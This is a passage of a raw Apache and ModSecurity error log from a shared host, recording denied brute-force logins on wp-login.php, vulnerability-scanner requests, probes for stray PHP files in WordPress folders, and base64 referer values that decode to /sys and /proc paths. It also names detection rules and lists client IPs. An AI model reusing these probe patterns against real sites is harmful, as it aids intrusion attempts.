[access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:24:44.568056 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.72:20359] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:44.568559 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.72:20359] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:44.686531 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.74:21576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:44.686845 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.74:21576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:44.768414 2026] [security2:error] [pid 646876:tid 647078] [client 159.223.112.69:59886] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30zNyTkdrNlD40tSHbWQAAAEY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:44.988562 2026] [security2:error] [pid 715691:tid 715959] [client 159.223.112.69:59898] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30zLV-dFiaX9AtWiQvPwAAAYA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:45.036534 2026] [security2:error] [pid 715691:tid 715774] [remote 17.246.15.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30zbV-dFiaX9AtWiQvRAABfT8"] [Sat Jun 13 18:24:45.042361 2026] [access_compat:error] [pid 715691:tid 715838] [remote 57.141.14.2:28887] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:45.042855 2026] [access_compat:error] [pid 715691:tid 715838] [remote 57.141.14.2:28887] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:45.111608 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:24:45.112066 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:24:45.263436 2026] [security2:error] [pid 646876:tid 647049] [client 159.223.112.69:59900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30zdyTkdrNlD40tSHbYgAAACk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:45.274751 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.39:32182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:45.275221 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.39:32182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:45.295682 2026] [access_compat:error] [pid 646876:tid 646910] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:45.295966 2026] [access_compat:error] [pid 646876:tid 646910] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:45.331286 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.42:21586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:45.331691 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.42:21586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:45.423096 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.61:49122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:45.423549 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.61:49122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:45.574281 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:24:45.574737 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:24:45.973209 2026] [access_compat:error] [pid 715691:tid 715914] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/css/index.php, referer: http://krosscorp.us/wp-admin/css/ [Sat Jun 13 18:24:45.976331 2026] [access_compat:error] [pid 715691:tid 715914] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/css/index.phtml, referer: http://krosscorp.us/wp-admin/css/ [Sat Jun 13 18:24:45.976899 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.40:58744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:45.977364 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.40:58744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:45.985375 2026] [security2:error] [pid 646876:tid 646901] [remote 17.241.227.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30zdyTkdrNlD40tSHbbwAAIBY"] [Sat Jun 13 18:24:45.988482 2026] [access_compat:error] [pid 715691:tid 715914] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/css/index.php5, referer: http://krosscorp.us/wp-admin/css/ [Sat Jun 13 18:24:46.165062 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L21vdXNlMC9kZXZpY2UvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:24:46.165358 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L21vdXNlMC9kZXZpY2UvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:24:46.445432 2026] [security2:error] [pid 715691:tid 715828] [remote 17.22.253.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30zrV-dFiaX9AtWiQvjwABJHU"] [Sat Jun 13 18:24:46.528285 2026] [security2:error] [pid 715691:tid 715713] [remote 17.246.19.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30zrV-dFiaX9AtWiQvlAABIAM"] [Sat Jun 13 18:24:46.616010 2026] [access_compat:error] [pid 715691:tid 715844] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/index.php, referer: http://krosscorp.us/wp-content/ [Sat Jun 13 18:24:46.616363 2026] [access_compat:error] [pid 715691:tid 715844] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/index.phtml, referer: http://krosscorp.us/wp-content/ [Sat Jun 13 18:24:46.617788 2026] [access_compat:error] [pid 715691:tid 715844] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/index.php5, referer: http://krosscorp.us/wp-content/ [Sat Jun 13 18:24:46.711794 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:46.712497 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:46.719077 2026] [security2:error] [pid 715691:tid 715875] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/bug44703.phpt"] [unique_id "ai30zrV-dFiaX9AtWiQvnAAAASw"] [Sat Jun 13 18:24:46.800442 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.80:39827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:46.800733 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.80:39827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:46.911238 2026] [access_compat:error] [pid 646876:tid 646934] [remote 57.141.14.111:46728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:46.911704 2026] [access_compat:error] [pid 646876:tid 646934] [remote 57.141.14.111:46728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:46.958762 2026] [security2:error] [pid 715691:tid 715948] [client 185.199.157.12:39427] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "ai30zrV-dFiaX9AtWiQvrQAAAXU"] [Sat Jun 13 18:24:47.152401 2026] [security2:error] [pid 646876:tid 647067] [client 34.66.224.20:57160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.224.66.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30z9yTkdrNlD40tSHbgAAAADs"] [Sat Jun 13 18:24:47.208887 2026] [security2:error] [pid 715691:tid 715860] [client 159.223.112.69:47058] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30z7V-dFiaX9AtWiQvsgAAAR0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:47.259022 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:47.259296 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:47.295363 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.227.22:60790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:24:47.295648 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.227.22:60790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:24:47.380961 2026] [security2:error] [pid 646876:tid 647077] [client 95.108.213.88:43168] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "just2086.justhost.com"] [uri "/robots.txt"] [unique_id "ai30z9yTkdrNlD40tSHbhAAAAEU"] [Sat Jun 13 18:24:47.427704 2026] [security2:error] [pid 715691:tid 715920] [client 159.223.112.69:47072] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30z7V-dFiaX9AtWiQvuwAAAVk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:47.445136 2026] [access_compat:error] [pid 715691:tid 715825] [remote 57.141.14.32:41749] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:47.445397 2026] [access_compat:error] [pid 715691:tid 715825] [remote 57.141.14.32:41749] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:47.480884 2026] [security2:error] [pid 715691:tid 715735] [remote 17.241.227.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30z7V-dFiaX9AtWiQvvgABGRk"] [Sat Jun 13 18:24:47.481985 2026] [security2:error] [pid 715691:tid 715915] [client 159.223.112.69:47078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30z7V-dFiaX9AtWiQvvwAAAVQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:47.630752 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.97:26298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:47.631017 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.97:26298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:47.646985 2026] [security2:error] [pid 646876:tid 647009] [client 159.223.112.69:47092] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30z9yTkdrNlD40tSHbiAAAAAE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:47.680993 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.88:44566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:47.681253 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.88:44566] AH01797: client denied by server configuration: 